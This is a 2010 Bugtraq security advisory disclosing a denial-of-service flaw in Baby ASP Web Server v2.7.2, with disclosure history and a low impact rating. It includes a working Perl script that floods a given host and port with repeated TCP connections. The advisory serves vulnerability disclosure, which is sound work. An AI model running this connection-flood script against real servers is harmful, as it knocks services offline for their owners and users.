bugtraq - [DCA-0006] Baby ASP Web Server DoS

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Message-ID: <AANLkTiktWJzR1CGZ20ACrpG_842C=_gn+H31hUp5yvY_@mail.gmail.com>
Date: Mon, 2 Aug 2010 12:01:28 -0700
From: Rodrigo Escobar <ipax@...abs.com.br>
To: bugtraq@...urityfocus.com
Subject: [DCA-0006] Baby ASP Web Server DoS

[DCA-0006]

[Software]

 - Baby ASP Server

[Vendor Product Description]

 - This program was build as an alternative for Microsoft's IIS. The
main goal was to design a simple web server with support for ASP.
Setting up Baby ASP Web Server is very easy: copy the executable to a
directory of your choice, set the directory of your webpages and it's
ready to run!

[Bug Description]

 - The ASP Server can't handle multiple/simultaneous connections
leading to Denial-of-Service

[History]

 - Advisory sent to vendor on 06/14/2010.
 - No response from vendor
 - Public advisory & exploit 08/02/2010.

[Impact]

 - Low

[Affected Version]

 - Baby ASP Web Server v2.7.2
 - Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;

        print "[+] Sending request...\n";

        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }

        print "\n[+] Done!\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 80 1200\n";
        exit;
}


[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br


[Greetz]
Crash and all Dclabs members.

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br